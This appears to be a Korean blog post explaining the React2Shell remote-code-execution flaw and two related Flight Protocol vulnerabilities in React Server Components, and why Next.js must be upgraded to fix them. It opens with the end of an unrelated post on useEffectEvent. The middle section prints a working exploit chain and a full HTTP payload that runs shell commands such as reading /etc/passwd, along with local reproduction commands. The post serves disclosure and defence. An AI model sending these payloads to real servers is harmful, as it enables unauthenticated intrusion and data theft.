  // 최신 props/state에 접근 가능
})
```

더 이상 `experimental_useEffectEvent`를 import할 필요가 없다. 또한 `eslint-plugin-react-hooks` 6.1.0에서는 `useEffectEvent` 함수를 임의의 클로저 내에서 호출하는 것을 금지하는 린트 규칙이 추가되어, 올바른 사용을 강제한다.

## 요약

- `useEffectEvent`는 2022년 `useEvent` RFC에서 출발하여, 범위를 좁혀서 탄생한 훅이다
- Effect 내에서 비반응형 로직을 분리하여, 불필요한 Effect 재실행을 방지하는 것이 주 목적이다
- 의존성 배열 없이도 항상 최신 props/state에 접근할 수 있다
- Effect 내에서만 호출 가능하다는 제약이 있다
- eslint react-hooks 의 규칙을 우회하는 용도로 남용하면 안 된다
- React 19.2.0에서 정식 API로 출시되었다

솔직히 범용적인 `useEvent`가 나왔으면 더 좋았을 것 같다. 이벤트 핸들러 최적화에도 쓸 수 있었을 텐데. [PR #25881](https://github.com/facebook/react/pull/25881)에서 Sebastian Markbåge는 이렇게 말했다:

> The scope of the new RFC will be specifically aimed at solving the Effects case. We wanted to decouple the Effects problem (which is very clear) from the rendering optimizations (to which there are many possible solutions, and where there isn't a clear winner yet).

Effect 문제는 해결 방법이 명확한 반면, 렌더링 최적화는 아직 어떤 방식이 최선인지 결론이 나지 않아서 두 문제를 분리하기로 했다는 것이다. 아쉽지만, 명확한 문제부터 해결하겠다는 건 납득이 된다.

## 참고

- [React 공식 문서: useEffectEvent](https://ko.react.dev/reference/react/useEffectEvent)
- [useEvent RFC](https://github.com/reactjs/rfcs/blob/useevent/text/0000-useevent.md)
- [GitHub Issue #14099: useCallback() invalidates too often in practice](https://github.com/facebook/react/issues/14099)
- [PR #25881: Rename experimental useEvent to useEffectEvent](https://github.com/facebook/react/pull/25881)
- [React 19.2.0 Release](https://github.com/facebook/react/releases/tag/v19.2.0)
- [이전 글: 리액트의 새로운 훅, useEvent](/2022/05/useEvent)

---

Source: https://yceffort.kr/2025/12/nextjs-react-security-vulnerability.md
Title: React 취약점인데 왜 Next.js를 업그레이드해야 하지?
Description: CVE-2025-55182, CVE-2025-55184, CVE-2025-55183 그리고 Next.js의 숨겨진 React
Date: 2025-12-12
Tags: security, nextjs, react

## Table of Contents

## 서론

2025년 12월, React와 Next.js 생태계에 긴급 보안 패치가 발표됐다. CVSS 10.0 만점의 원격 코드 실행(RCE) 취약점이 발견된 것이다. 공격자가 특별히 조작된 HTTP 요청 하나만 보내면 서버에서 임의의 코드를 실행할 수 있는, 그야말로 최악의 취약점이었다.

보안 공지를 읽던 중 이상한 점을 발견했다. 취약점은 React의 `react-server-dom-webpack` 패키지에 있는데, 해결책은 **Next.js를 업그레이드하라**는 것이었다.

```bash
# React 취약점인데...
npm install next@15.5.9  # Next.js를 업그레이드?
```

자연스럽게 이런 생각이 들었다.

> "아니, 그러면 `npm install react@latest` 하면 되는 거 아냐?"

결론부터 말하면, **안 된다.** 그리고 이 "안 된다"에는 Next.js가 React를 다루는 방식에 대한 흥미로운(그리고 약간은 당황스러운) 이야기가 숨어있다.

## 취약점 개요

먼저 이번에 발표된 취약점들을 정리해보자.

| CVE            | 이름        | 심각도    | 유형                 | 발표일    |
| -------------- | ----------- | --------- | -------------------- | --------- |
| CVE-2025-55182 | React2Shell | CVSS 10.0 | RCE (원격 코드 실행) | 12월 3일  |
| CVE-2025-55184 | -           | CVSS 7.5  | DoS (서비스 거부)    | 12월 11일 |
| CVE-2025-55183 | -           | CVSS 5.3  | 소스 코드 노출       | 12월 11일 |

모두 React Server Components의 Flight Protocol에서 발생하는 문제다. 영향받는 패키지는 다음과 같다.

- `react-server-dom-webpack` (19.0.0 ~ 19.2.0)
- `react-server-dom-parcel` (19.0.0 ~ 19.2.0)
- `react-server-dom-turbopack` (19.0.0 ~ 19.2.0)

이 패키지들을 사용하는 프레임워크들, 즉 Next.js, React Router, Waku, Parcel RSC, Vite RSC 등이 모두 영향을 받는다.

## CVE-2025-55182: React2Shell

### 취약점 개요

CVSS 10.0 만점. 원격 코드 실행(RCE) 취약점이다. 공격자가 HTTP 요청 하나로 서버에서 임의의 코드를 실행할 수 있다.

가장 무서운 점은 **인증이 필요 없다**는 것이다. 심지어 `create-next-app`으로 방금 생성한 빈 프로젝트도 즉시 취약하다. 개발자가 아무런 코드도 작성하지 않아도, 기본 설정 그대로 취약하다.

### Flight Protocol이란?

취약점을 이해하려면 먼저 React Server Components(RSC)와 Flight Protocol을 알아야 한다.

RSC는 컴포넌트를 서버에서 렌더링하고, 그 결과를 클라이언트로 스트리밍하는 아키텍처다. 이때 서버와 클라이언트 간에 데이터를 주고받는 프로토콜이 "Flight Protocol"이다. 일종의 RPC(Remote Procedure Call) 메커니즘이라고 생각하면 된다.

#### RPC란?

RPC(Remote Procedure Call)는 **원격 서버의 함수를 마치 로컬 함수처럼 호출**할 수 있게 해주는 프로토콜이다. 네트워크 통신의 복잡함을 추상화해서, 개발자가 HTTP 요청/응답을 직접 다루지 않아도 되게 해준다.

```javascript {10-11}
// 일반적인 HTTP 요청 방식
const response = await fetch('/api/users', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({name: '홍길동', age: 30}),
})
const user = await response.json()

// RPC 방식 - 마치 로컬 함수를 호출하는 것처럼
const user = await createUser({name: '홍길동', age: 30})
```

RPC의 핵심은 **직렬화(Serialization)** 와 **역직렬화(Deserialization)** 다.

```mermaid
sequenceDiagram
    participant C as 클라이언트
    participant S as 서버

    Note over C: 1. 함수 호출: createUser({name: '홍길동'})
    Note over C: 2. 직렬화: 함수명 + 인자를 바이트로 변환
    C->>S: 네트워크 전송
    Note over S: 3. 역직렬화: 바이트를 함수명 + 인자로 복원
    Note over S: 4. 서버에서 실제 함수 실행
    Note over S: 5. 결과 직렬화
    S-->>C: 네트워크 전송
    Note over C: 6. 결과 역직렬화 → 클라이언트에서 사용
```

대표적인 RPC 프로토콜로는 gRPC, JSON-RPC, XML-RPC 등이 있다. React의 Flight Protocol도 이런 RPC의 일종인데, **React 컴포넌트 트리**를 직렬화/역직렬화하는 데 특화되어 있다.

#### Flight Protocol의 역할

Flight Protocol은 두 가지 역할을 한다.

**1. Server → Client: RSC 렌더링 결과 전송**

서버 컴포넌트의 렌더링 결과(React 엘리먼트 트리)를 클라이언트로 스트리밍한다. HTML이 아니라 React가 이해할 수 있는 형태로 보내서, 클라이언트에서 기존 트리와 병합(reconciliation)할 수 있게 한다.

**2. Client → Server: Server Action 호출**

클라이언트에서 Server Function(Server Action)을 호출할 때, 함수 인자를 직렬화해서 서버로 보낸다. 서버는 이를 역직렬화해서 실제 함수를 실행한다.

```mermaid
sequenceDiagram
    participant C as 클라이언트
    participant S as 서버

    C->>S: HTTP POST (직렬화된 요청)
    Note over S: Flight Protocol 역직렬화
    Note over S: Server Function 실행
    S-->>C: HTTP Response (직렬화된 응답)
```

이번 취약점은 **Client → Server** 방향, 즉 Server Action 호출 시 역직렬화 과정에서 발생했다.

#### 왜 Flight Protocol이 필요한가?

일반적인 JSON으로는 React 컴포넌트 트리를 전송할 수 없다. JSON은 함수, `undefined`, `Date` 객체, 순환 참조 등을 표현할 수 없기 때문이다. 예를 들어:

```javascript
// 이걸 JSON으로 어떻게 보낼 것인가?
const element = {
  type: MyComponent, // 함수!
  props: {
    onClick: handleClick, // 함수!
    date: new Date(), // Date 객체!
  },
}

JSON.stringify(element) // 💥 함수는 직렬화 불가
```

Flight Protocol은 이 문제를 해결하기 위해 React 팀이 만든 **커스텀 직렬화 포맷**이다.

#### Wire Format 구조

Flight Protocol은 간단한 행 기반 포맷을 사용한다. 한 줄에 하나의 JSON blob이 있고, ID로 태그되어 있다.

```text
M1:{"id":"./src/ClientComponent.client.js","chunks":["client1"],"name":""}
S2:"react.suspense"
J0:["$","@1",null,{"children":["$","span",null,{"children":"Hello from server"}]}]
J3:["$","ul",null,{"children":[["$","li",null,{"children":"Item 1"}]]}]
```

각 라인의 접두사는 다른 의미를 가진다:

| 접두사 | 의미     | 설명                                                        |
| ------ | -------- | ----------------------------------------------------------- |
| `M`    | Module   | 클라이언트 컴포넌트의 모듈 참조 (파일 위치, 번들 청크 정보) |
| `J`    | JSON     | 실제 React 엘리먼트 트리                                    |
| `S`    | Symbol   | React 내부 심볼 (예: `react.suspense`)                      |
| `I`    | Value    | 일반 값                                                     |
| `F`    | Function | Server Function 참조                                        |

#### 특수 문법: `$` 접두사

Flight Protocol은 JSON으로 표현할 수 없는 값들을 `$` 접두사로 인코딩한다.

```javascript
// 실제 Flight 페이로드 예시
;['$', '@1', null, {children: ['$', 'span', null, {children: 'Hello'}]}]
```

| 문법  | 의미                     | 예시                        |
| ----- | ------------------------ | --------------------------- |
| `$`   | React 엘리먼트           | `["$", "div", null, {...}]` |
| `@1`  | 모듈 참조 (M1 라인 참조) | 클라이언트 컴포넌트         |
| `$L1` | Lazy 컴포넌트            | 아직 로드되지 않은 컴포넌트 |
| `$1`  | 청크 참조                | 이전에 정의된 청크 1번      |
| `$@0` | Raw 청크 참조            | 해석되지 않은 청크 0번      |
| `$B0` | Blob 참조                | 바이너리 데이터             |

#### 스트리밍 방식

Flight Protocol의 강점은 **스트리밍**이다. 서버가 전체 트리를 완성할 때까지 기다리지 않고, 준비된 부분부터 청크 단위로 보낸다.

```javascript
// 1. 먼저 레이아웃이 도착
J0: ['$', 'main', null, {children: ['$L1']}] // $L1은 아직 로딩 중

// 2. Suspense 폴백 표시

// 3. 나중에 콘텐츠가 도착
J1: ['$', 'article', null, {children: '로딩 완료!'}]

// 4. $L1이 J1로 교체되면서 화면 업데이트
```

클라이언트는 한 줄씩 읽으면서 즉시 처리할 수 있다. Suspense 경계를 만나면 폴백을 보여주고, 나중에 데이터가 도착하면 교체한다.

#### 청크(Chunk) 시스템

RSC는 내부적으로 **청크(Chunk)** 라는 객체로 데이터를 관리한다. 각 청크는 상태를 가진다.

```javascript
// 청크의 내부 구조 (단순화)
const chunk = {
  status: 'pending' | 'resolved_model' | 'resolved_module' | 'rejected',
  value: any, // 실제 데이터
  reason: any, // 에러 정보
  _response: Response, // 응답 객체 참조
}
```

청크가 Promise처럼 동작하기 때문에, React는 `then` 메서드를 호출해서 값을 얻는다. 바로 이 부분이 취약점의 핵심이다.

#### Server → Client vs Client → Server

Flight Protocol은 양방향으로 동작한다.

**Server → Client (RSC Payload)**

- 서버 컴포넌트 렌더링 결과를 클라이언트로 전송
- HTML이 아닌 React 엘리먼트 트리 형태

**Client → Server (Server Action)**

- 클라이언트에서 Server Function 호출 시 인자 전송
- `multipart/form-data` 형식으로 전송
- **취약점은 이 방향에서 발생한다**

```http
POST /api HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Next-Action: abc123

------WebKitFormBoundary
Content-Disposition: form-data; name="0"

{"name": "홍길동", "age": 30}
------WebKitFormBoundary--
```

서버가 이 요청을 받으면 Flight Protocol로 역직렬화해서 Server Function에 전달한다. 문제는 이 역직렬화 과정에서 `__proto__` 같은 위험한 키를 검증하지 않았다는 것이다.

### 프로토타입 오염(Prototype Pollution)

JavaScript에서 모든 객체는 프로토타입 체인을 통해 상위 객체의 속성을 상속받는다. `__proto__`를 통해 이 체인에 접근할 수 있다.

```javascript
const obj = {}
console.log(obj.toString) // [Function: toString]
// obj에는 toString이 없지만, Object.prototype에서 상속받음
```

프로토타입 오염은 이 체인을 조작해서 **모든 객체의 동작을 바꿔버리는 공격**이다.

```javascript
// 정상적인 객체
const obj = {}
console.log(obj.isAdmin) // undefined

// 프로토타입 오염
obj.__proto__.isAdmin = true

// 이제 모든 새 객체가 isAdmin을 가짐
const another = {}
console.log(another.isAdmin) // true 🚨
```

### 취약한 코드

Flight Protocol의 역직렬화 코드에서 문제가 발생했다. 클라이언트가 보낸 키를 검증 없이 객체 속성으로 사용했던 것이다.

```javascript:react-server-dom-webpack.js {5-7}
// 패치 전 (취약한 코드)
return moduleExports[metadata[NAME]]

// 패치 후 (수정된 코드)
if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
  return moduleExports[metadata[NAME]]
}
```

`hasOwnProperty` 검증이 없었기 때문에, 공격자가 `metadata[NAME]`에 `"__proto__"`를 넣으면 프로토타입 체인에 접근할 수 있었다.

### 프로토타입 오염에서 RCE까지

프로토타입 오염만으로는 코드 실행이 안 된다. 공격자들은 이를 **Function 생성자**에 접근하는 체인으로 연결했다.

#### Function 생성자 = eval

JavaScript에서 `Function` 생성자는 문자열로부터 함수를 생성할 수 있다.

```javascript
const fn = new Function('return 1 + 1')
fn() // 2
```

얼핏 보면 무해해 보이지만, 이건 사실상 `eval`과 같다. 왜 그런지 살펴보자.

```javascript
// eval: 문자열을 코드로 실행
eval('console.log("hello")') // "hello"

// Function: 문자열로 함수를 만들고 실행
new Function('console.log("hello")')() // "hello"

// 둘 다 임의의 코드를 실행할 수 있다
eval('1 + 2') // 3
new Function('return 1 + 2')() // 3
```

차이점이라면 `eval`은 현재 스코프에서 실행되고, `Function`은 전역 스코프에서 실행된다는 것이다. 하지만 보안 관점에서 둘 다 **임의 코드 실행(Arbitrary Code Execution)** 이 가능하다는 점에서 동일하게 위험하다.

```javascript
// eval로 시스템 명령 실행
eval('process.mainModule.require("child_process").execSync("id").toString()')

// Function으로 시스템 명령 실행 - 똑같이 동작한다
new Function(
  'return process.mainModule.require("child_process").execSync("id").toString()',
)()
```

`eval`은 보안상 위험하다는 게 널리 알려져 있어서 CSP(Content Security Policy)로 차단하거나, 린터가 경고를 띄운다. 하지만 `Function` 생성자는 상대적으로 덜 알려져 있어서 방어가 허술한 경우가 많다.

공격자 입장에서 `Function` 생성자에 접근할 수만 있다면, 서버에서 원하는 코드를 실행할 수 있다.

```javascript
const evil = new Function(
  'process.mainModule.require("child_process").execSync("cat /etc/passwd")',
)
evil() // 🚨 서버의 /etc/passwd 파일 내용 탈취
```

#### Function 생성자에 어떻게 접근하는가?

문제는 `Function` 생성자에 어떻게 접근하느냐다. 직접 `Function`을 호출하면 당연히 막힌다. 하지만 프로토타입 체인을 통하면 우회할 수 있다.

```javascript
// 어떤 객체든 constructor를 통해 자신을 만든 생성자에 접근할 수 있다
const obj = {}
obj.constructor // [Function: Object]

// Object의 constructor는 Function이다
obj.constructor.constructor // [Function: Function]

// 프로토타입 체인으로도 접근 가능
obj.__proto__.constructor.constructor // [Function: Function]
```

공격자는 이 체인을 Flight Protocol의 특수 문법과 조합했다.

### 실제 익스플로잇 체인

[msanft/CVE-2025-55182](https://github.com/msanft/CVE-2025-55182) PoC를 기반으로 익스플로잇 체인을 분석해보자.

#### 1단계: Function 생성자 획득

```python:exploit.py
files = {
    "0": (None, '["$1:__proto__:constructor:constructor"]'),
    "1": (None, '{"x":1}'),
}
```

`$1:__proto__:constructor:constructor` 문법은 Flight Protocol에서 "청크 1의 `__proto__.constructor.constructor`에 접근하라"는 의미다. 이렇게 하면 `Function` 생성자를 얻을 수 있다.

#### 2단계: Thenable 객체 생성

```python:exploit.py {2}
files = {
    "0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
    "1": (None, '{"x":1}'),
}
```

JavaScript에서 `then` 속성을 가진 객체는 "thenable"로 취급된다. Promise처럼 `.then()`을 호출할 수 있다는 뜻이다. 여기서 `then`을 `Function` 생성자로 설정하면, 나중에 이 객체에 `.then(code)`를 호출할 때 `Function(code)`가 실행된다.

#### 3단계: Chunk 상태 조작

Flight Protocol은 청크(chunk) 단위로 데이터를 처리한다. 각 청크는 상태를 가진다.

```javascript
// 청크 상태
const PENDING = 'pending'
const RESOLVED_MODEL = 'resolved_model'
const RESOLVED_MODULE = 'resolved_module'
// ...
```

공격자는 `$@` 문법(raw 청크 참조)을 사용해서 청크의 내부 상태를 직접 조작한다.

```python
crafted_chunk = {
    "then": "$1:__proto__:then",        # then을 Function으로
    "status": "resolved_model",          # 상태를 resolved로 조작
    "reason": -1,
    "value": '{"then": "$B0"}',         # Blob 참조
    "_response": {
        "_prefix": "/* 실행할 코드 */",
        "_formData": {"get": "$1:constructor:constructor"}
    }
}
```

#### 4단계: 코드 실행

`initializeModelChunk` 함수가 호출될 때, 조작된 청크의 `then`이 `Function` 생성자로 설정되어 있고, `_prefix` 필드의 코드가 실행된다.

```javascript
// _prefix 필드에 들어가는 실제 페이로드
var res = process.mainModule
  .require('child_process')
  .execSync('id', {timeout: 5000})
  .toString()
  .trim()

throw Object.assign(new Error('NEXT_REDIRECT'), {digest: `${res}`})
```

이 코드는:

1. `child_process` 모듈을 로드한다
2. `id` 명령어를 실행한다
3. 결과를 에러의 `digest` 필드에 담아서 던진다

에러 응답의 `digest` 필드를 확인하면 명령어 실행 결과를 볼 수 있다.

### 실제 페이로드 예시

```http
POST / HTTP/1.1
Host: vulnerable-app.com
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\": \"$B0\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('cat /etc/passwd')","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundary
Content-Disposition: form-data; name="1"

$@0
------WebKitFormBoundary--
```

`Next-Action` 헤더만 있으면 된다. 실제로 Server Action이 정의되어 있을 필요도 없다. Flight Protocol 역직렬화 과정에서 이미 공격이 성공하기 때문이다.

### 왜 인증 없이 가능한가?

일반적인 웹 애플리케이션에서 요청 처리 흐름은 이렇다.

```mermaid
graph LR
    A[요청 수신] --> B[인증 확인]
    B --> C[권한 확인]
    C --> D[비즈니스 로직]
    D --> E[응답]
```

하지만 Flight Protocol의 역직렬화는 **인증 확인보다 먼저 발생한다.**

```mermaid
graph LR
    A[요청 수신] --> B[Flight 역직렬화 💥]
    B --> C[여기서 이미 RCE]
    C --> D[인증 확인]
    D --> E[...]
```

공격이 인증 레이어에 도달하기도 전에 실행되는 것이다. 이것이 이 취약점이 CVSS 10.0을 받은 이유 중 하나다.

### 실제 공격 사례

이 취약점은 이미 실제로 악용되고 있다. Wiz Research, Amazon Threat Intelligence, Datadog, Palo Alto Unit 42 등에서 공격을 관찰했다.

관찰된 공격 유형:

- `.env` 파일 탈취
- Cobalt Strike 비콘 배포
- Sliver 페이로드 설치
- 암호화폐 마이너 설치
- 백도어 설치

특히 **CL-STA-1015**라는 중국 정부 연계 추정 APT 그룹의 활동도 관찰됐다고 한다. 이들은 SNOWLIGHT와 VShell 트로이목마를 설치하는 것으로 알려져 있다.

## CVE-2025-55184: DoS (서비스 거부)

React2Shell(CVE-2025-55182) 취약점이 공개되고 불과 며칠 후, 같은 Flight Protocol에서 또 다른 취약점이 발견됐다. 이번엔 RCE는 아니지만, 서비스 전체를 마비시킬 수 있는 DoS 취약점이다.

### 취약점 개요

CVSS 7.5. RCE만큼 심각하진 않지만, 서비스 전체를 마비시킬 수 있는 취약점이다.

### 무한 루프 발생

악의적으로 조작된 HTTP 요청이 Flight Protocol 역직렬화 과정에서 **무한 루프**를 일으킨다.

```mermaid
graph TD
    A[1. 공격자가 조작된 요청 전송] --> B[2. Flight Protocol이 요청을 역직렬화]
    B --> C[3. 순환 참조가 있는 객체 구조 생성]
    C --> D[4. 역직렬화 로직이 무한 루프 진입]
    D --> E[5. 서버 프로세스 hang + CPU 100%]
    E --> F[6. 모든 HTTP 요청 처리 불가]
```

Node.js는 싱글 스레드이기 때문에, 무한 루프가 발생하면 다른 요청을 처리할 수 없게 된다. 결과적으로 서버가 완전히 멈춘다.

### 영향 범위

- Server Function이 있는 앱: 당연히 취약
- Server Function이 없어도 RSC를 지원하는 앱: **취약**
- Next.js 13.3 이상: 취약 (DoS만)
- Next.js 15.0 이상: 취약 (DoS + 소스 노출)

### 불완전한 초기 패치

처음 발표된 패치가 불완전했다. 일부 케이스를 놓쳤고, 이를 수정한 패치가 CVE-2025-67779로 다시 발표됐다. 따라서 **최신 패치 버전으로 다시 업그레이드**해야 한다.

### 수정 방법

[PR #35351](https://github.com/facebook/react/pull/35351)에서 수정 내용을 확인할 수 있다.

```javascript:ReactFlightClient.js {12-17}
// 패치 전
while (chunk.status === 'pending') {
  const inspectedValue = chunk.value
  if (inspectedValue === chunk) {
    // 자기 자신 참조만 체크
    break
  }
  // ...
}

// 패치 후
let cycleProtection = 0
while (chunk.status === 'pending') {
  cycleProtection++
  const inspectedValue = chunk.value
  if (inspectedValue === chunk || cycleProtection > 1000) {
    break
  }
  // ...
}
```

기존 코드는 `inspectedValue === chunk`로 자기 자신을 참조하는 경우만 체크했다. A → A 같은 직접 순환은 잡을 수 있지만, A → B → A 같은 간접 순환은 못 잡는다. 그래서 카운터를 추가해서 1000번 넘으면 무조건 탈출하도록 했다.

순환 참조를 완벽하게 탐지하려면 방문한 노드를 Set으로 관리해야 하는데, 성능 오버헤드가 있다. 1000번 제한은 정상적인 사용에서는 절대 도달하지 않는 숫자니까, 단순하면서도 확실한 방법이다.

## CVE-2025-55183: 소스 코드 노출

### 취약점 개요

CVSS 5.3. Server Function의 소스 코드가 응답에 포함되어 노출될 수 있다.

### 어떻게 노출되는가?

공격자가 조작된 HTTP 요청을 보내면, Server Function이 다른 Server Function의 소스 코드를 **문자열화(stringify)** 해서 응답에 포함시킨다.

```javascript
// 원본 Server Function
'use server'

export async function serverFunction(name) {
  // 🚨 소스 코드에 하드코딩된 시크릿
  const conn = db.createConnection('SECRET_API_KEY')

  // 문자열 템플릿 사용
  return {
    id: user.id,
    message: `Hello, ${name}!`, // 여기가 문제
  }
}
```

`${name}` 부분이 문자열화될 때, 전달된 값이 함수라면 그 함수의 소스 코드가 문자열로 변환된다.

```javascript
// 공격 응답
{
  "id": "tva1sfodwq",
  "message": "Hello, async function(a){
    console.log(\"serverFunction\");
    let b=i.createConnection(\"SECRET_API_KEY\");
    return{id:(await b.createUser(a)).id,message:`Hello, ${a}!`}
  }!"
}
```

### 노출되는 정보와 안전한 정보

| 정보 유형                               | 노출 여부 |
| --------------------------------------- | --------- |
| 소스 코드에 하드코딩된 API 키, 비밀번호 | 노출됨 🚨 |
| Server Function의 비즈니스 로직         | 노출됨    |
| 인라인된 상수 값                        | 노출됨    |
| `process.env.SECRET` 환경변수           | 안전 ✅   |
| 런타임에 주입되는 값                    | 안전 ✅   |

환경변수를 사용하는 값은 노출되지 않는다. 환경변수는 런타임에 평가되기 때문에, 컴파일된 소스 코드에는 변수 참조만 남아있다.

```javascript
// 안전한 패턴
const conn = db.createConnection(process.env.DATABASE_URL)
// 컴파일 후: process.env.DATABASE_URL (값 자체는 노출 안 됨)

// 위험한 패턴
const conn = db.createConnection('postgresql://user:password@localhost/db')
// 컴파일 후: 'postgresql://user:password@localhost/db' (그대로 노출)
```

### 영향 범위

이 취약점은 Next.js 15.0 이상에서만 영향을 받는다. 14.x에서는 발생하지 않는다.

| Next.js 버전 | DoS (CVE-2025-55184) | 소스 노출 (CVE-2025-55183) |
| ------------ | -------------------- | -------------------------- |
| 13.3 ~ 14.x  | 취약                 | 안전                       |
| 15.0 이상    | 취약                 | 취약                       |

## 재현해보기

직접 확인해보고 싶다면, [l4rm4nd/CVE-2025-55182](https://github.com/l4rm4nd/CVE-2025-55182) 저장소에서 취약한 환경을 Docker로 띄워볼 수 있다.

```bash
# 취약한 Next.js 앱 실행
docker run --rm -p 127.0.0.1:3000:3000 ghcr.io/l4rm4nd/cve-2025-55182:latest

# AssetNote 스캐너로 취약점 확인
python3 scanner.py -u http://127.0.0.1:3000
# [VULNERABLE] Status: 303

# Nuclei 템플릿으로 확인
nuclei -t ./nuclei-template/CVE-2025-55182.yaml -u http://127.0.0.1:3000
```

실제로 명령어가 실행되는 걸 보면 등골이 서늘해진다. **절대로 인터넷에 노출된 환경에서 테스트하지 말 것.**

## Next.js의 숨겨진 React

여기서 핵심 질문으로 돌아오자. **React 취약점인데 왜 Next.js를 업그레이드해야 하는가?**

### App Router의 비밀

Next.js 13에서 App Router가 도입되면서, Next.js는 React를 특별한 방식으로 다루기 시작했다.

```text
packages/next/src/compiled/
├── react/
├── react-dom/
├── react-server-dom-webpack/      ← 취약한 패키지
├── react-server-dom-turbopack/
└── react-server-dom-parcel/
```

Next.js는 `react-server-dom-webpack` 같은 패키지를 npm에서 가져오는 게 아니라, **자체적으로 번들링해서 `dist/compiled/` 디렉토리에 포함시킨다.** 그리고 App Router를 사용하면 이 내부 버전이 사용된다.

```javascript
// Next.js webpack 설정 (webpack-config.ts)
// https://github.com/vercel/next.js/blob/b17b31f16eb0a761ecdc0b821234d3cbe24f499f/packages/next/src/build/webpack-config.ts#L127-L135
browserNonTranspileModules: [
  /[\/]next[\/]dist[\/]compiled[\/](react|react-dom|react-server-dom-webpack)/,
]
```

즉, `package.json`에 어떤 React 버전을 설치하든, App Router는 **Next.js가 번들링한 React를 사용한다.**

### Pages Router vs App Router

재미있는 점은 Pages Router와 App Router가 다른 React 버전을 사용한다는 것이다.

| Router       | React 버전                         |
| ------------ | ---------------------------------- |
| Pages Router | `package.json`에 설치된 버전       |
| App Router   | Next.js 내부에 번들된 React Canary |

같은 프로젝트에서 두 라우터를 같이 쓰면, 실제로 다른 React 버전이 돌아가고 있을 수 있다.

### 왜 이렇게 했을까?

React 팀의 공식 권장사항이다. React Server Components는 React 19가 정식 출시되기 전부터 Next.js에서 사용되어 왔다. 이를 위해 React 팀은 "Canary" 채널을 만들고, 프레임워크들이 이를 번들링해서 사용하도록 권장했다.

> "React Server Components are ready to be adopted by frameworks. However, until the next major React release, **the only way for a framework to adopt them is to ship a pinned Canary version of React.**"
> — [React Canaries 블로그](https://react.dev/blog/2023/05/03/react-canaries)

이 방식의 장점은 명확하다.

- React 정식 릴리스를 기다리지 않고 새 기능을 먼저 제공할 수 있다
- Next.js가 자체 릴리스 일정에 맞춰 React 버전을 관리할 수 있다
- 버그 수정을 빠르게 적용할 수 있다

하지만 이번 보안 취약점 사태에서 이 구조의 **숨겨진 함정**이 드러났다.

## 개발자가 빠지는 함정들

### 1. `npm audit`이 React 취약점임을 알려주지 않는다

```bash
$ npm audit
# Next.js 취약점으로만 표시됨
# React 코드에 문제가 있다는 건 알 수 없음
```

`npm audit`은 취약점을 감지하긴 한다. 하지만 Next.js 패키지의 취약점으로만 표시될 뿐, 실제 문제가 있는 코드가 React의 Flight Protocol이라는 건 알려주지 않는다. Next.js가 React를 내부에 번들링하고 있기 때문이다.

> "Both Vite and Next.js simply bundle their dependencies directly in the package instead of relying on the npm node_modules mechanism."

### 2. `package.json`의 React 버전이 무시된다

[GitHub Issue #86930](https://github.com/vercel/next.js/issues/86930)에서 한 개발자가 발견한 문제다.

```json:package.json
{
  "dependencies": {
    "react": "19.1.2" // 안전한 버전을 설치했는데...
  }
}
```

React DevTools로 확인해보면:

- **Pages Router**: 19.1.2 (package.json 버전)
- **App Router**: 19.2.0-canary (Next.js 내부 버전)

개발자는 "나는 안전한 버전 쓰고 있어"라고 생각하지만, 실제로는 취약한 canary 버전이 사용되고 있는 것이다.

### 3. `npm install react@latest`가 안 먹힌다

```bash
npm install react@19.2.1 react-dom@19.2.1
# App Router는 여전히 Next.js 내부 번들 사용 → 취약점 그대로
```

React를 최신 버전으로 업데이트해도, App Router가 사용하는 건 Next.js 내부에 번들된 버전이다. **외부 React 버전은 완전히 무시된다.**

### 4. `overrides`/`resolutions`도 효과 없다

npm의 `overrides`나 yarn의 `resolutions`를 사용하면 의존성 버전을 강제할 수 있다. 하지만 이것도 소용없다.

```json:package.json {3-5}
// 이렇게 해도 안 된다
{
  "overrides": {
    "react": "19.2.1"
  }
}
```

Next.js는 npm 의존성 해석을 거치지 않고, pre-compiled된 파일을 직접 import한다. `overrides`가 개입할 여지가 없다.

### 5. React 18 전용 라이브러리가 깨질 수 있다

`package.json`에 React 18을 명시했으니까 React 18만 지원하는 라이브러리를 설치했다. 그런데 App Router에서는 React 19 canary가 돌아가고 있다.

```json:package.json
{
  "dependencies": {
    "react": "18.2.0",
    "some-library": "^1.0.0" // peerDependencies: react ^18.0.0
  }
}
```

이 상황에서 발생할 수 있는 문제:

- React 19에서 제거되거나 변경된 API를 사용하는 라이브러리가 런타임 에러 발생
- `peerDependencies` 경고는 안 뜨는데 (package.json 기준으로는 맞으니까) 실제로는 호환 안 됨
- 개발자는 "내 프로젝트는 React 18인데 왜 안 되지?" 하고 혼란에 빠짐

Pages Router에서는 잘 되는데 App Router에서만 이상하게 동작한다면, 이 버전 불일치를 의심해봐야 한다.

### 6. 보안 스캐너의 한계

| 도구                       | 감지 방식                    |
| -------------------------- | ---------------------------- |
| `npm audit`                | Next.js CVE로만 감지         |
| `yarn audit`               | Next.js CVE로만 감지         |
| Snyk, Dependabot           | Next.js CVE로만 감지         |
| `npx fix-react2shell-next` | Vercel 공식 도구로 감지 가능 |

기존 보안 도구들은 취약점을 감지하긴 하지만, Next.js 취약점으로만 표시된다. React 코드에 문제가 있다는 건 알 수 없다.

## 올바른 대응 방법

### 1. Next.js 업그레이드

유일한 해결책이다. Next.js 버전에 맞는 패치 버전으로 업그레이드해야 한다.

```bash
# 본인의 Next.js 버전에 맞게 선택
npm install next@14.2.35   # 14.x
npm install next@15.0.7    # 15.0.x
npm install next@15.1.11   # 15.1.x
npm install next@15.2.8    # 15.2.x
npm install next@15.3.8    # 15.3.x
npm install next@15.4.10   # 15.4.x
npm install next@15.5.9    # 15.5.x
npm install next@16.0.10   # 16.0.x
```

### 2. 자동화 도구 사용

Vercel에서 제공하는 자동 패치 도구를 사용할 수도 있다.

```bash
npx fix-react2shell-next
```

이 도구는 현재 Next.js 버전을 감지하고, 적절한 패치 버전으로 업그레이드해준다.

### 3. 시크릿 로테이션

만약 12월 4일 이전에 패치되지 않은 상태로 서버가 인터넷에 노출되어 있었다면, **모든 시크릿을 교체해야 한다.** 이미 공격을 받았을 가능성이 있기 때문이다.
